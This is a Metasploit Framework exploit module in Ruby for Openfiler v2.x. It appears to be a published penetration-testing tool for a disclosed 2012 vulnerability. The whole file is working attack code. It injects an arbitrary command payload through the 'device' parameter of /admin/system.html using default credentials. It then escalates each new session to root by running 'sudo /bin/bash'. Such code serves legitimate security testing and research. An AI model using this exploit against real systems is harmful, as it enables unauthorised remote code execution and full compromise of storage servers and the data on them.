##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Openfiler v2.x NetworkCard Command Execution",
			'Description'    => %q{
				This module exploits a vulnerability in Openfiler v2.x
				which could be abused to allow authenticated users to execute arbitrary
				code under the context of the 'openfiler' user. The 'system.html' file
				uses user controlled data from the 'device' parameter to create a new
				'NetworkCard' object. The class constructor in 'network.inc' calls exec()
				with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
				providing a system password.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
				],
			'References'     =>
				[
					['BID', '55490'],
					['URL', 'http://itsecuritysolutions.org/2012-09-06-Openfiler-v2.x-multiple-vulnerabilities/'],
					['OSVDB', '93881'],
					['EDB',   '21191']
				],
			'DefaultOptions'  =>
				{
					'ExitFunction' => 'none'
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 1024,
					'BadChars'    => "\x00",
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic telnet python perl bash',
						}
				},
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Sep 04 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(446),
				OptBool.new('SSL', [true, 'Use SSL', true]),
				OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']),
				OptString.new('PASSWORD', [true, 'The password for the application', 'password'])
			], self.class)
	end

	def check

		@peer = "#{rhost}:#{rport}"

		# retrieve software version from login page
		print_status("#{@peer} - Sending check")
		begin
			res = send_request_cgi({
				'uri' => '/'
			})

			if    res and res.code == 200 and res.body =~ /<strong>Distro Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
				return Exploit::CheckCode::Appears
			elsif res and res.code == 200 and res.body =~ /<title>Openfiler Storage Control Center<\/title>/
				return Exploit::CheckCode::Detected
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def on_new_session(client)
		client.shell_command_token("sudo /bin/bash")
	end


	def exploit

		@peer = "#{rhost}:#{rport}"
		user  = datastore['USERNAME']
		pass  = datastore['PASSWORD']
		cmd   = Rex::Text.uri_encode("&#{payload.raw}&")

		# send payload
		print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
		begin
			res = send_request_cgi({
				'uri'    => "/admin/system.html?step=2&device=lo#{cmd}",
				'cookie' => "usercookie=#{user}; passcookie=#{pass};",
			}, 25)
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unknown, 'Connection failed')
		end

		if    res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/
			print_good("#{@peer} - Payload sent successfully")
		elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/
			fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
		else
			fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
		end

	end
end
